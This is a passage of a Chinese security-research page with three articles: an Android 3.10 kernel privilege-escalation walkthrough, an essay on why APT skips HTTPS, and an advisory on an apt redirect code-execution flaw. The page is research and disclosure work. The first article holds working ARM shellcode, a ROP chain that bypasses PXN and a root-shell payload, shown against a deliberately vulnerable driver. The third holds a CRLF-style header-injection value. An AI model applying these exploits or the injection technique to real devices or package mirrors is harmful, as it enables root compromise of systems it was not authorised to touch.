</span>$ <span class="token punctuation">.</span><span class="token operator">/</span>bin<span class="token operator">/</span>sdkmanager <span class="token operator">--</span>install <span class="token string">"ndk-bundle"</span>
<span class="token comment"># android模拟器
</span>$ <span class="token punctuation">.</span><span class="token operator">/</span>bin<span class="token operator">/</span>sdkmanager <span class="token operator">--</span>install <span class="token string">"emulator"</span>
<span class="token comment"># avd
</span>$ <span class="token punctuation">.</span><span class="token operator">/</span>bin<span class="token operator">/</span>sdkmanager <span class="token operator">--</span>install <span class="token string">"platforms;android-19"</span>
$ <span class="token punctuation">.</span><span class="token operator">/</span>bin<span class="token operator">/</span>sdkmanager <span class="token operator">--</span>install <span class="token string">"system-images;android-19;google_apis;armeabi-v7a"</span>
<span class="token comment"># 其他
</span>$ <span class="token punctuation">.</span><span class="token operator">/</span>bin<span class="token operator">/</span>sdkmanager <span class="token operator">--</span>install <span class="token string">"platform-tools"</span>

PS:因为是32位的,所以选择的是armeabi-v7a

PSS: 我一共测试过19, 24, 25,发现在24,25中,自己写的包含漏洞的驱动只有特权用户能访问,没去仔细研究为啥,就先使用低版本的android-19了

创建安卓虚拟设备:

<span class="token punctuation">.</span><span class="token operator">/</span>bin<span class="token operator">/</span>avdmanager create avd <span class="token operator">-</span>k <span class="token string">"system-images;android-19;google_apis;armeabi-v7a"</span> <span class="token operator">-</span>d <span class="token number">5</span> <span class="token operator">-</span>n <span class="token string">"kernel_test"</span>

启动:

$ export kernel_path<span class="token operator">=</span>ranchu_3<span class="token punctuation">.</span>10_zImage
或者
$ export kernel_path<span class="token operator">=</span>goldfish_3<span class="token punctuation">.</span>10_zImage
$ <span class="token punctuation">.</span><span class="token operator">/</span>emulator  <span class="token operator">-</span>show<span class="token operator">-</span>kernel <span class="token operator">-</span>kernel <span class="token property">$kernel_path</span> <span class="token operator">-</span>avd kernel_test <span class="token operator">-</span>no<span class="token operator">-</span>audio <span class="token operator">-</span>no<span class="token operator">-</span>boot<span class="token operator">-</span>anim <span class="token operator">-</span>no<span class="token operator">-</span>window <span class="token operator">-</span>no<span class="token operator">-</span>snapshot <span class="token operator">-</span>qemu  <span class="token operator">-</span>s

去测试下我写的exp:

$ cd <span class="token operator">~</span><span class="token operator">/</span>goldfish<span class="token operator">/</span>drivers<span class="token operator">/</span>vulnerabilities<span class="token operator">/</span>stack_buffer_overflow<span class="token operator">/</span>solution
$ <span class="token punctuation">.</span><span class="token operator">/</span>build_and_run<span class="token punctuation">.</span>sh

编译好了之后运行,记得要用普通用户运行:

<a class="token email-link" href="mailto:shell@generic">shell@generic</a><span class="token punctuation">:</span><span class="token operator">/</span> $ id
id
uid<span class="token operator">=</span><span class="token function">2000<span class="token punctuation">(</span></span>shell<span class="token punctuation">)</span> gid<span class="token operator">=</span><span class="token function">1007<span class="token punctuation">(</span></span>log<span class="token punctuation">)</span> context<span class="token operator">=</span>u<span class="token punctuation">:</span>r<span class="token punctuation">:</span>init_shell<span class="token punctuation">:</span>s0
<a class="token email-link" href="mailto:shell@generic">shell@generic</a><span class="token punctuation">:</span><span class="token operator">/</span> $ <span class="token operator">/</span>data<span class="token operator">/</span>local<span class="token operator">/</span>tmp<span class="token operator">/</span>stack_buffer_overflow_exploit
<span class="token operator">/</span>data<span class="token operator">/</span>local<span class="token operator">/</span>tmp<span class="token operator">/</span>stack_buffer_overflow_exploit
start
<a class="token email-link" href="mailto:shell@generic">shell@generic</a><span class="token punctuation">:</span><span class="token operator">/</span> <span class="token comment"># id
</span>id
uid<span class="token operator">=</span><span class="token function">0<span class="token punctuation">(</span></span>root<span class="token punctuation">)</span> gid<span class="token operator">=</span><span class="token function">0<span class="token punctuation">(</span></span>root<span class="token punctuation">)</span> context<span class="token operator">=</span>u<span class="token punctuation">:</span>r<span class="token punctuation">:</span>kernel<span class="token punctuation">:</span>s0

Android 内核提权研究

环境能跑通以后,就来说说我的exp是怎么写出来的。

首先说一下,我的环境都是来源于AndroidKernelExploitationPlayground项目[3],但是实际测试的发现,该项目中依赖的估计是3.4的内核,但是现在的emulator要求内核版本大于等于3.10

从内核3.4到3.10有许多变化,首先,对内核的一些函数做了删减修改,所以需要改改驱动的代码,其次就是3.4的内核没有开PXN保护,在内核态可以跳转到用户态的内存空间去执行代码,所以该项目中给的exp是使用shellcode,但是在3.10内核中却开启了PXN保护,无法执行用户态内存中的shellcode

提权思路

搞内核Pwn基本都是一个目的——提权。那么在Linux在怎么把权限从普通用户变成特权用户呢?

一般提权的shellcode长这样:

asm
(
"    .text\n"
"    .align 2\n"
"    .code 32\n"
"    .globl shellCode\n\t"
"shellCode:\n\t"
// commit_creds(prepare_kernel_cred(0));
// -&gt; get root
"LDR     R3, =0xc0039d34\n\t"   //prepare_kernel_cred addr
"MOV     R0, #0\n\t"
"BLX     R3\n\t"
"LDR     R3, =0xc0039834\n\t"   //commit_creds addr
"BLX     R3\n\t"
"mov r3, #0x40000010\n\t"
"MSR    CPSR_c,R3\n\t"
"LDR     R3, =0x879c\n\t"     // payload function addr
"BLX     R3\n\t"
);

这个shellcode提权的思路有三步:

  1. prepare_kernel_cred(0) 创建一个特权用户cred
  2. commit_creds(prepare_kernel_cred(0)); 把当前用户cred设置为该特权cred
  3. MSR CPSR_c,R3 从内核态切换回用户态(详情自己百度这句指令和CPSR寄存器)

切换回用户态后,当前程序的权限已经变为root,这时候就可以执行/bin/sh

再继续深入研究,就涉及到内核的三个结构体:

$ cat <span class="token punctuation">.</span><span class="token operator">/</span>arch<span class="token operator">/</span>arm<span class="token operator">/</span>include<span class="token operator">/</span><span class="token keyword">asm</span><span class="token operator">/</span>thread_info<span class="token punctuation">.</span>h
<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>
<span class="token keyword">struct</span> thread_info <span class="token punctuation">{</span>
        <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>
        <span class="token keyword">struct</span> task_struct      <span class="token operator">*</span>task<span class="token punctuation">;</span>          <span class="token comment">/* main task structure */</span>
       <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>
<span class="token punctuation">}</span><span class="token punctuation">;</span>
<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>
$ cat <span class="token punctuation">.</span><span class="token operator">/</span>include<span class="token operator">/</span>linux<span class="token operator">/</span>sched<span class="token punctuation">.</span>h
<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>
<span class="token keyword">struct</span> task_struct <span class="token punctuation">{</span>
        <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>
        <span class="token keyword">const</span> <span class="token keyword">struct</span> cred __rcu <span class="token operator">*</span>real_cred<span class="token punctuation">;</span>
        <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>
<span class="token punctuation">}</span><span class="token punctuation">;</span>
<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>
$ cat <span class="token punctuation">.</span><span class="token operator">/</span>include<span class="token operator">/</span>linux<span class="token operator">/</span>cred<span class="token punctuation">.</span>h
<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>
<span class="token keyword">struct</span> cred <span class="token punctuation">{</span>
        atomic_t        usage<span class="token punctuation">;</span>
<span class="token property">#ifdef CONFIG_DEBUG_CREDENTIALS</span>
        atomic_t        subscribers<span class="token punctuation">;</span>    <span class="token comment">/* number of processes subscribed */</span>
        <span class="token keyword">void</span>            <span class="token operator">*</span>put_addr<span class="token punctuation">;</span>
        <span class="token keyword">unsigned</span>        magic<span class="token punctuation">;</span>
<span class="token property">#define CRED_MAGIC      0x43736564</span>
<span class="token property">#define CRED_MAGIC_DEAD 0x44656144</span>
#endif
        kuid_t          uid<span class="token punctuation">;</span>            <span class="token comment">/* real UID of the task */</span>
        kgid_t          gid<span class="token punctuation">;</span>            <span class="token comment">/* real GID of the task */</span>
        kuid_t          suid<span class="token punctuation">;</span>           <span class="token comment">/* saved UID of the task */</span>
        kgid_t          sgid<span class="token punctuation">;</span>           <span class="token comment">/* saved GID of the task */</span>
        kuid_t          euid<span class="token punctuation">;</span>           <span class="token comment">/* effective UID of the task */</span>
        kgid_t          egid<span class="token punctuation">;</span>           <span class="token comment">/* effective GID of the task */</span>
        kuid_t          fsuid<span class="token punctuation">;</span>          <span class="token comment">/* UID for VFS ops */</span>
        kgid_t          fsgid<span class="token punctuation">;</span>          <span class="token comment">/* GID for VFS ops */</span>
        <span class="token keyword">unsigned</span>        securebits<span class="token punctuation">;</span>     <span class="token comment">/* SUID-less security management */</span>
        kernel_cap_t    cap_inheritable<span class="token punctuation">;</span> <span class="token comment">/* caps our children can inherit */</span>
        kernel_cap_t    cap_permitted<span class="token punctuation">;</span>  <span class="token comment">/* caps we're permitted */</span>
        kernel_cap_t    cap_effective<span class="token punctuation">;</span>  <span class="token comment">/* caps we can actually use */</span>
        kernel_cap_t    cap_bset<span class="token punctuation">;</span>       <span class="token comment">/* capability bounding set */</span>
        kernel_cap_t    cap_ambient<span class="token punctuation">;</span>    <span class="token comment">/* Ambient capability set */</span>
<span class="token property">#ifdef CONFIG_KEYS</span>
        <span class="token keyword">unsigned</span> <span class="token keyword">char</span>   jit_keyring<span class="token punctuation">;</span>    <span class="token comment">/* default keyring to attach requested
                                         * keys to */</span>
        <span class="token keyword">struct</span> key __rcu <span class="token operator">*</span>session_keyring<span class="token punctuation">;</span> <span class="token comment">/* keyring inherited over fork */</span>
        <span class="token keyword">struct</span> key      <span class="token operator">*</span>process_keyring<span class="token punctuation">;</span> <span class="token comment">/* keyring private to this process */</span>
        <span class="token keyword">struct</span> key      <span class="token operator">*</span>thread_keyring<span class="token punctuation">;</span> <span class="token comment">/* keyring private to this thread */</span>
        <span class="token keyword">struct</span> key      <span class="token operator">*</span>request_key_auth<span class="token punctuation">;</span> <span class="token comment">/* assumed request_key authority */</span>
#endif
<span class="token property">#ifdef CONFIG_SECURITY</span>
        <span class="token keyword">void</span>            <span class="token operator">*</span>security<span class="token punctuation">;</span>      <span class="token comment">/* subjective LSM security */</span>
#endif
        <span class="token keyword">struct</span> user_struct <span class="token operator">*</span>user<span class="token punctuation">;</span>       <span class="token comment">/* real user ID subscription */</span>
        <span class="token keyword">struct</span> user_namespace <span class="token operator">*</span>user_ns<span class="token punctuation">;</span> <span class="token comment">/* user_ns the caps and keyrings are relative to. */</span>
        <span class="token keyword">struct</span> group_info <span class="token operator">*</span>group_info<span class="token punctuation">;</span>  <span class="token comment">/* supplementary groups for euid/fsgid */</span>
        <span class="token keyword">struct</span> rcu_head rcu<span class="token punctuation">;</span>            <span class="token comment">/* RCU deletion hook */</span>
<span class="token punctuation">}</span><span class="token punctuation">;</span>
<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>

每个进程都有一个单独thread_info结构体,我们来看看内核是怎么获取到每个进程的thread_info结构体的信息的:

<span class="token property">#define THREAD_SIZE             8192</span>
<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>
<span class="token keyword">static</span> <span class="token keyword">inline</span> <span class="token keyword">struct</span> thread_info <span class="token operator">*</span><span class="token function">current_thread_info<span class="token punctuation">(</span></span><span class="token keyword">void</span><span class="token punctuation">)</span>
<span class="token punctuation">{</span>
        <span class="token keyword">register</span> <span class="token keyword">unsigned</span> <span class="token keyword">long</span> sp <span class="token keyword">asm</span> <span class="token punctuation">(</span><span class="token string">"sp"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token keyword">return</span> <span class="token punctuation">(</span><span class="token keyword">struct</span> thread_info <span class="token operator">*</span><span class="token punctuation">)</span><span class="token punctuation">(</span>sp <span class="token operator">&amp;</span> <span class="token operator">~</span><span class="token punctuation">(</span>THREAD_SIZE <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>

有点内核基础知识的应该知道,内核的栈是有大小限制的,在arm32中栈的大小是0x2000,而thread_info的信息储存在栈的最底部

所以,如果我们能获取到当前进程在内核中运行时的其中一个栈地址,我们就能找到thread_info,从而顺藤摸瓜得到cred的地址,如果能任意写内核,则可以修改cred的信息,从而提权

总得来说,内核提权其实只有一条路可走,就是修改cred信息,而commit_creds(prepare_kernel_cred(0));不过是内核提供的修改cred的函数罢了。

我们来通过gdb展示下cred数据:

$ <a class="token email-link" href="mailto:shell@generic">shell@generic</a><span class="token punctuation">:</span><span class="token operator">/</span> $ id
id
uid<span class="token operator">=</span><span class="token function">2000<span class="token punctuation">(</span></span>shell<span class="token punctuation">)</span> gid<span class="token operator">=</span><span class="token function">1007<span class="token punctuation">(</span></span>log<span class="token punctuation">)</span> context<span class="token operator">=</span>u<span class="token punctuation">:</span>r<span class="token punctuation">:</span>init_shell<span class="token punctuation">:</span>s0
<span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span><span class="token operator">--</span>

通过gdb可以获取到:$sp : 0xd415bf40

从而计算出栈底地址:0xd415a000

然后我们就能获取到thread_info的信息,然后得到task_struct的地址:0xd4d16680

接着我们查看task_struct的信息,得到了cred的地址:0xd4167780

gef<span class="token operator">&gt;</span> p <span class="token operator">*</span><span class="token punctuation">(</span>struct task_struct <span class="token operator">*</span><span class="token punctuation">)</span><span class="token number">0xd4d16680</span>
<span class="token property">$2</span> <span class="token operator">=</span> <span class="token punctuation">{</span>
<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>
        real_cred <span class="token operator">=</span> <span class="token number">0xd4167780</span><span class="token punctuation">,</span> 
        cred <span class="token operator">=</span> <span class="token number">0xd4167780</span><span class="token punctuation">,</span>
<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>
<span class="token comment"># 数据太长了,就不截图了</span>

然后查看cred的信息:

把uid和gid的十六进制转换成十进制,发现就是当前进程的权限

使用ROP绕过PXN来进行android提权

既然我们已经知道了怎么修改权限,那么接下来就研究一下如何利用漏洞来提权,因为是研究利用方式,所以自己造了一个最基础的栈溢出

<span class="token keyword">int</span> <span class="token function">proc_entry_write<span class="token punctuation">(</span></span><span class="token keyword">struct</span> file <span class="token operator">*</span>file<span class="token punctuation">,</span> <span class="token keyword">const</span> <span class="token keyword">char</span> __user <span class="token operator">*</span>ubuf<span class="token punctuation">,</span> <span class="token keyword">unsigned</span> <span class="token keyword">long</span> count<span class="token punctuation">,</span> <span class="token keyword">void</span> <span class="token operator">*</span>data<span class="token punctuation">)</span>
<span class="token punctuation">{</span>
    <span class="token keyword">char</span> buf<span class="token punctuation">[</span>MAX_LENGTH<span class="token punctuation">]</span><span class="token punctuation">;</span>

    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">copy_from_user<span class="token punctuation">(</span></span><span class="token operator">&amp;</span>buf<span class="token punctuation">,</span> ubuf<span class="token punctuation">,</span> count<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
        <span class="token function">printk<span class="token punctuation">(</span></span>KERN_INFO <span class="token string">"stackBufferProcEntry: error copying data from userspace\n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token keyword">return</span> <span class="token operator">-</span>EFAULT<span class="token punctuation">;</span>
    <span class="token punctuation">}</span>
    <span class="token keyword">return</span> count<span class="token punctuation">;</span>
<span class="token punctuation">}</span>

因为开了PXN,所以没办法使用shellcode,然后我第一个想到的思路就是使用ROP来执行shellcode的操作

这里说一下,不要使用ROPgadget,用这个跑内核的ELF,要跑贼久,推荐使用ROPPER[4]

$ ropper <span class="token operator">-</span>f <span class="token operator">/</span>mnt<span class="token operator">/</span>hgfs<span class="token operator">/</span>tmp<span class="token operator">/</span>android_kernel<span class="token operator">/</span>ranchu_3<span class="token punctuation">.</span>10_vmlinux <span class="token operator">--</span>nocolor <span class="token operator">&gt;</span> ranchu_ropper_gadget

然后就是找commit_credsprepare_kernel_cred这两个函数的地址,在没有开启kalsr的内核中,我们可以直接把vmlinux丢到ida里面,找这两个函数的地址

到这里,我们可以构造出如下的rop链:

*pc++ = 0x41424344;      // r4
*pc++ = 0xC00B8D68;      // ; mov r0, #0; pop {r4, pc}
*pc++ = 0x41424344;      // r4
*pc++ = 0xC00430F4;      // ; prepare_kernel_cred(0) -&gt; pop {r3-r5, pc}
*pc++ = 0x41424344;      // r3
*pc++ = 0x41424344;      // r4
*pc++ = 0x41424344;      // r5
*pc++ = 0xC0042BFC;      // ; commit_creds -&gt; pop {r4-r6, pc}
*pc++ = 0x41424344;      // r4
*pc++ = 0x41424344;      // r5
*pc++ = 0x41424344;      // r6

在成功修改当前进程的权限之后,我们需要把当前进程从内核态切换回用户态,然后在用户态执行/bin/sh,就能提权成功了

但是这里遇到一个问题,在shellcode中,使用的是:

"mov r3, #0x40000010\n\t"
"MSR    CPSR_c,R3\n\t"
"LDR     R3, =0x879c\n\t"     // payload function addr
"BLX     R3\n\t"

我也很容易能找到gadget: msr cpsr_c, r4; pop {r4, pc};

但是却没法成功切换回用户态,网上相关的资料几乎没有,我也找不到问题的原因,在执行完msr cpsr_c, r4指令以后,栈信息会发现变化,导致没法控制pc的跳转

不过后来,我跟踪内核的执行,发现内核本身是通过ret_fast_syscall函数来切换回用户态的:

$ cat ./arch/arm/kernel/entry-common.S
......
ret_fast_syscall:
 UNWIND(.fnstart        )
 UNWIND(.cantunwind     )
        disable_irq                             @ disable interrupts
        ldr     r1, [tsk, #TI_FLAGS]
        tst     r1, #_TIF_WORK_MASK
        bne     fast_work_pending
        asm_trace_hardirqs_on

        /* perform architecture specific actions before user return */
        arch_ret_to_user r1, lr
        ct_user_enter

        restore_user_regs fast = 1, offset = S_OFF
 UNWIND(.fnend          )
......
-----------------------------
   0xc000df80 &lt;ret_fast_syscall&gt;:   cpsid   i
   0xc000df84 &lt;ret_fast_syscall+4&gt;: ldr r1, [r9]
   0xc000df88 &lt;ret_fast_syscall+8&gt;: tst r1, #7
   0xc000df8c &lt;ret_fast_syscall+12&gt;: bne 0xc000dfb0 &lt;fast_work_pending&gt;
   0xc000df90 &lt;ret_fast_syscall+16&gt;:    ldr r1, [sp, #72]   ; 0x48
   0xc000df94 &lt;ret_fast_syscall+20&gt;:    ldr lr, [sp, #68]!  ; 0x44
   0xc000df98 &lt;ret_fast_syscall+24&gt;:    msr SPSR_fsxc, r1
   0xc000df9c &lt;ret_fast_syscall+28&gt;:    clrex
   0xc000dfa0 &lt;ret_fast_syscall+32&gt;: ldmdb  sp, {r1, r2, r3, r4, r5, r6, r7, r8, r9, r10, r11, r12, sp, lr}
   0xc000dfa4 &lt;ret_fast_syscall+36&gt;:    nop; (mov r0, r0)
   0xc000dfa8 &lt;ret_fast_syscall+40&gt;:    add sp, sp, #12
   0xc000dfac &lt;ret_fast_syscall+44&gt;:    movs    pc, lr

经过我测试发现,使用msr SPSR_fsxc, r1可以成功从内核态切换回用户态,但是该指令却只存在于该函数之前,无法找到相关的gadget,之后我想了很多利用该函数的方法,最后测试成功的方法是:

计算有漏洞的溢出函数的栈和ret_fast_syscall函数栈的距离,在使用ROP执行完commit_creds(prepare_kernel_cred(0));之后,使用合适的gadget来修改栈地址(比如: add sp, sp, #0x30; pop {r4, r5, r6, pc};),然后控制pc跳转到0xc000df90 <ret_fast_syscall+16>:,这样程序就相当于执行完了内核的syscall,然后切换回用户进程代码继续执行,在我们的用户态代码中后续执行如下函数,就能成功提权:

<span class="token keyword">void</span> <span class="token function">payload<span class="token punctuation">(</span></span><span class="token keyword">void</span><span class="token punctuation">)</span>
<span class="token punctuation">{</span>        
        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">getuid<span class="token punctuation">(</span></span><span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
                <span class="token function">execl<span class="token punctuation">(</span></span><span class="token string">"/system/bin/sh"</span><span class="token punctuation">,</span> <span class="token string">"sh"</span><span class="token punctuation">,</span> NULL<span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span>
                <span class="token function">warnx<span class="token punctuation">(</span></span><span class="token string">"failed to get root. How did we even get here?"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token punctuation">}</span>
        <span class="token function">_exit<span class="token punctuation">(</span></span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>

完整exp可以见我的Github。

ROP只是其中一种利用方法,后续还会研究其他利用方法和在64位android下的利用。

参考

  1. https://android.googlesource.com/kernel/goldfish/
  2. https://developer.android.com/studio/?hl=zh-cn#downloads
  3. https://github.com/Fuzion24/AndroidKernelExploitationPlayground
  4. https://github.com/sashs/Ropper

Paper本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/808/

原文阅读

APT 为什么不使用 HTTPS 协议?
Nanako 2019-1-24 7:52 转存

原文:Why does APT not use HTTPS?
作者:Chris Lamb
译者:Nanako@知道创宇404实验室

(这篇文章代表了一段时间前,特别是在CVE-2019-3462之前的情形。它并不代表我的个人意见,也不代表Debian / Ubuntu。)

tl;dr

https用于防止入侵者窃听到您与您访问的网站之间的通信,以及避免在您不知情的情况下修改数据。

然而,通过APT命令获取的文件往往都有自己的签名以通过系统的检查。

您的计算机根据一组已存储的可信密钥检查这些签名。如果缺少有效签名或者密钥不可信[1],则APT会拒绝下载该文件。这样可以确保您安装的软件来自您的授权,并且未被修改或替换。

如果下载服务器的磁盘上软件包发生了恶意篡改,https是无法检测出来的。因此也没有必要“安全的”传输一个受损的软件包。

隐私

https通常不会为获取数据包提供重要的私密性。由于窃听者通常可以看到您正在通信连接的主机,如果您正与发布镜像的网络进行连接,则很明显您在进行下载更新。

此外,即使通信是经过加密的,也不难根据传输大小确定要下载的文件[2]。因此,https只适用于从那些提供类似的,或大小相同的包的服务器上进行下载。

其实更应该关注的问题并不是加密,而是确保您正在安装的文件未被修改过。

过度信任CA

有超过400个“证书颁发机构”可以为任何域颁发证书,其中很多证书机构没有有效的安全记录,还有一些明确被政府控制[3]。

这意味着https对于发布镜像网络上的攻击目标提供了微乎其微的保护,甚至没有任何保护。您可以限制APT可以接收的有效证书集合,但这容易产生错误,对现有的公钥方案来说某些额外的麻烦是不值得的。

为什么不提供HTTPS呢?

您所用的发行版可以使用现有方案对文件进行加密签名,另外还可以通过https为文件提供“深度防御”。

然而,通过SSL提供一个巨大的全球镜像网络不仅是一项复杂的工程任务(需要私钥的安全交换和存储)。如上所述,它意味着会对最终用户的安全性和隐私级别产生误导性。

切换到https还意味着您无法利用本地代理服务器来加快访问速度,而且还将禁止多种类型的P2P 镜像,其中文件存储在不受您分发控制的服务器上。这将对远程区域的用户产生不同程度的影响。

重放攻击

简单签名机制存在的问题是,它不能保证您看到的是最新版本的存档。

这可能会导致重放攻击,攻击者将存档替换为较早的未经修改的版本,阻止APT注意到那些会被利用的安全更新。

为了解决这个问题,APT存档包含一个时间戳,在此时间戳之后的所有文件都被认作是旧文件[4]。

更多信息

SecureAPT wiki页面上可以找到更多技术细节?。

脚注

  1. 显示发布:无法验证以下签名,因为公钥不可用。
  2. 如果通过(假设)apt-transport-tor使用Tor,甚至有可能出现这种情况。
  3. 例如,请参阅在StackOverflow上的我应该信任哪些受信任的root证书颁发机构
  4. 请参阅Debian Wiki上DebianRepository页面的Date,Valid-Until部分

 

 

Paper

本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/803/

原文阅读

apt apt-get 中的远程执行代码
Nanako 2019-1-24 1:59 转存

原文:Remote Code Execution in apt/apt-get
作者:Max Justicz
译者:Nanako@知道创宇404实验室

TL,DR:
我在apt中发现了一个漏洞,它允许网络中间人(或恶意包镜像)以root身份在安装软件包的机器上执行任意代码。该漏洞已在apt最新版本中被修复。如果您担心在更新过程中被利用,可以通过禁用http重定向来保护自己。为此,请运行:

$ sudo apt update -o Acquire::http::AllowRedirect=false

$ sudo apt upgrade -o Acquire::http::AllowRedirect=false

如果当前镜像包在默认情况下重定向(意味着出现该标志时无法更新apt),则需要选择其它镜像或直接下载程序包。该链接可以找到有关Debian升级的具体说明。Ubuntu的声明可以在这里找到。

作为证明,我录制了一段攻击如下Dockerfile的视频:

FROM debian:latest

RUN apt-get update &amp;&amp; apt-get install -y cowsay

背景

在获取数据时,apt将各种不同的数据传输协议的工作进程分离。然后,父进程通过stdin/stdout与这些工作人员进行通信, 利用一个类似http的协议告诉他们要下载的内容并将它放到文件系统上。例如,在一台机器上运行 apt install cowsay并用http请求下载相应包的时候,apt将提供/usr/lib/apt/methods/http目录,并返回100 Capabilities消息:

100 Capabilities

Version: 1.2

Pipeline: true

Send-Config: true

然后,父进程发送其配置并请求资源,如下所示:

601 Configuration

Config-Item: APT::Architecture=amd64

Config-Item: APT::Build-Essential::=build-essential

Config-Item: APT::Install-Recommends=1

(...many more lines omitted...)

600 URI Acquire

URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb

Filename: /var/cache/apt/archives/partial/cowsay_3.03+dfsg2-3_all.deb

Expected-SHA256: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831

Expected-MD5Sum: 27967ddb76b2c394a0714480b7072ab3

Expected-Checksum-FileSize: 20070

然后工作进程会像下方这样响应:

102 Status

URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb

Message: Connecting to prod.debian.map.fastly.net

102 Status

URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb

Message: Connecting to prod.debian.map.fastly.net (2a04:4e42:8::204)

102 Status

URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb

Message: Waiting for headers

200 URI Start

URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb

Size: 20070

Last-Modified: Tue, 17 Jan 2017 18:05:21 +0000

201 URI Done

URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb

Filename: /var/cache/apt/archives/partial/cowsay_3.03+dfsg2-3_all.deb

Size: 20070

Last-Modified: Tue, 17 Jan 2017 18:05:21 +0000

MD5-Hash: 27967ddb76b2c394a0714480b7072ab3

MD5Sum-Hash: 27967ddb76b2c394a0714480b7072ab3

SHA256-Hash: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831

Checksum-FileSize-Hash: 20070

当http服务器根据重定向进行响应时,工作进程返回103 Redirect而非201 URI Done。父进程根据此响应来确定接下来应该请求的资源:

103 Redirect

URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb

New-URI: http://example.com/new-uri

漏洞

不幸的是,进行http下载的进程会对HTTP Location头进行url解码,并直接附加到103 Redirect响应中:

// From methods/basehttp.cc
NextURI = DeQuoteString(Req.Location);
...
Redirect(NextURI);

// From apt-pkg/acquire-method.cc
void pkgAcqMethod::Redirect(const string &amp;NewURI)
{
   std::cout &lt;&lt; "103 Redirect\nURI: " &lt;&lt; Queue-&gt;Uri &lt;&lt; "\n"
             &lt;&lt; "New-URI: " &lt;&lt; NewURI &lt;&lt; "\n"
             &lt;&lt; "\n" &lt;&lt; std::flush;
   Dequeue();
}

(注意:不同版本的apt之间存在重要差异。上述代码来自Debian最近使用的1.4.y版本。一些Ubuntu版本使用的是1.6.y,它不仅仅是直接附加URI。然而在后续的http提取程序发出的600 URI Acquire请求中仍然存在注入漏洞。其他版本我并没有做检查。)

因此,如果http服务器发送Location: /new-uri%0AFoo%3A%20Bar,http提取进程将回复以下内容:

103 Redirect

URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb

New-URI: http://deb.debian.org/new-uri

Foo: Bar

或者,如果http服务器发送:

